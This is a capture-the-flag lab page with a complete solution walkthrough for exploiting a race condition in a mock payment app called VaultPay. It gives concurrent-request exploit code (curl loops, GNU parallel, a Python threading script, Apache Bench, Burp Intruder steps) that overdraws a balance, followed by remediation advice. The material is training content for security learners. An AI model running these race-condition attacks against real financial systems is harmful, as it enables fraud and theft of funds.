Labs / Race Condition Hunter

Challenge
Released 23 Sep 2025

⏱️ Can you exploit the timing window before it closes?

This financial application thinks it can safely process concurrent transactions with basic checks. 💰 But experienced security researchers know that timing is everything when it comes to race conditions! ⚡ Master the art of concurrent exploitation and discover how milliseconds can make the difference between a failed attack and a successful bypass. 🎯

Flags

Points

Challenge

Solution Available

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Start Lab Environment

~1-2 min setup

AWS dedicated

Private instance

Industry standard

Challenge

⏱️ Race Condition Hunter - Complete Solution

Objective: Exploit the race condition vulnerability in the VaultPay financial application to manipulate account balances and retrieve the flag through concurrent transaction processing.

🔍 Step 1: Initial Application Analysis

Navigate to http:// to access the VaultPay financial application. The main interface displays:

Welcome Message: "Welcome to VaultPay - Secure Financial Transactions"
User Context: Currently logged in as "user123" with an account balance
Transfer Interface: Form to transfer funds between accounts
Balance Display: Real-time account balance information
Transaction History: Log of recent transfers and operations

The application processes financial transfers with validation checks, but the timing of these operations creates a vulnerability window.

🔍 Step 2: Understanding the Race Condition

This is a real race condition vulnerability with server-side timing issues. The Flask application performs balance checks and updates in separate operations without proper locking:

# Vulnerable code pattern:
# 1. Check current balance
# 2. Validate transfer amount
# 3. Update balance
# Problem: Steps are not atomic!

Key observations:

Non-Atomic Operations: Balance check and update happen separately
Timing Window: Concurrent requests can bypass validation
Shared Resource: Account balance accessed by multiple requests
No Locking Mechanism: No synchronization between operations

🔍 Step 3: Testing Normal Transfer Operations

First, understand the normal transfer functionality:

# Test normal transfer
curl -X POST "http:///transfer" \
  -H "Content-Type: application/json" \
  -d '{"amount": 10, "recipient": "admin"}'

Normal transfers return:

HTTP 200 status code for successful transfers
Updated balance information
Transaction confirmation details
Validation errors for insufficient funds

🔍 Step 4: Identifying the Race Condition Window

The vulnerability exists in the transfer processing logic:

# Race condition occurs between:
# 1. Balance check: if balance >= amount
# 2. Balance update: balance -= amount
# Multiple requests can pass step 1 before any reach step 2

This creates a timing window where:

Multiple transfers can pass the balance check simultaneously
Each transfer sees the same initial balance
All transfers proceed despite insufficient total funds
Account balance becomes negative or inconsistent

🔍 Step 5: Exploiting with Concurrent Requests

Execute multiple simultaneous transfer requests to exploit the race condition:

# Method 1: Using curl with background processes
for i in {1..10}; do
  curl -X POST "http:///transfer" \
    -H "Content-Type: application/json" \
    -d '{"amount": 50, "recipient": "admin"}' &
done
wait

# Method 2: Using GNU parallel (if available)
seq 1 10 | parallel -j 10 curl -X POST "http:///transfer" \
  -H "Content-Type: application/json" \
  -d '{"amount": 50, "recipient": "admin"}'

🔍 Step 6: Python Script for Precise Timing

Use Python threading for more controlled concurrent exploitation:

import threading
import requests
import time

def transfer_request():
    url = "http://<target-ip>/transfer"
    data = {"amount": 50, "recipient": "admin"}
    response = requests.post(url, json=data)
    print(f"Response: {response.status_code}")

# Launch 10 concurrent requests
threads = []
for i in range(10):
    thread = threading.Thread(target=transfer_request)
    threads.append(thread)

# Start all threads simultaneously
for thread in threads:
    thread.start()

# Wait for completion
for thread in threads:
    thread.join()

🔍 Step 7: Monitoring Balance Manipulation

Check the account balance after the race condition exploit:

curl "http:///balance"

Successful exploitation results in:

Negative Balance: Account balance becomes negative due to over-transfers
Inconsistent State: Total transferred amount exceeds original balance
Multiple Successes: All concurrent transfers report success
Flag Access: Negative balance triggers admin flag exposure

🔍 Step 8: Flag Discovery Methods

When the race condition successfully creates a negative balance, the flag is exposed through multiple discoverable methods:

# Method 1: Check balance endpoint
curl "http:///balance"

# Method 2: Visit main page in browser
# Navigate to http:// to see system alert

The balance endpoint reveals additional information when negative:

{
  "username": "user123",
  "balance": -150.0,
  "status": "negative",
  "system_alert": "RACE CONDITION DETECTED - SYSTEM COMPROMISED",
  "security_flag": "[FLAG_UUID_HERE]",
  "message": "Multiple concurrent transfers bypassed balance validation"
}

Additionally, visiting the main page in a browser will display a prominent red alert with the flag when the balance is negative.

🔍 Step 9: Alternative Exploitation Methods

Other methods to exploit the race condition:

# Using Burp Suite Intruder
1. Capture transfer request in Burp Proxy
2. Send to Intruder
3. Set attack type to "Pitchfork"
4. Configure multiple threads (10-20)
5. Launch simultaneous requests

# Using Apache Bench (ab)
ab -n 10 -c 10 -p transfer.json -T application/json \
  http:///transfer

🔍 Step 10: Timing Analysis

The race condition window is typically very small (microseconds to milliseconds). Success factors include:

Network Latency: Lower latency increases success rate
Server Load: Higher load creates larger timing windows
Concurrency Level: More simultaneous requests improve odds
Request Timing: Precise synchronization maximizes impact

🔍 Real Race Condition Analysis

This challenge demonstrates a genuine server-side race condition vulnerability:

Vulnerability Details:

Non-Atomic Operations: Balance check and update not synchronized
Shared Resource Access: Multiple threads access account balance
Missing Locking: No mutex or database locking mechanism
Timing Dependency: Security depends on operation order

Attack Vectors:

Concurrent HTTP Requests: Multiple simultaneous transfers
Threading Exploitation: Python/script-based attacks
Tool-Based Testing: Burp Suite, Apache Bench automation
Timing Manipulation: Network and server load exploitation

🛡️ Security Implications and Remediation

Security Risks:

Financial fraud and theft
Account balance manipulation
System integrity compromise
Regulatory compliance violations

Remediation Strategies:

Implement database transactions with locking
Use atomic operations for critical updates
Add proper synchronization mechanisms
Implement idempotency controls

📚 Key Learning Points

Race Condition Understanding: Timing-dependent security vulnerabilities
Concurrent Exploitation: Techniques for exploiting timing windows
Atomicity Importance: Critical operations must be indivisible
Synchronization Mechanisms: Proper locking and transaction management
Financial Security: Special considerations for monetary applications

Real-World Context: Race condition vulnerabilities are particularly dangerous in financial applications, e-commerce platforms, and resource allocation systems. Professional security testers regularly discover these issues in production applications where developers fail to implement proper synchronization for concurrent operations. This challenge provides hands-on experience with one of the most critical timing-based vulnerabilities in modern web applications.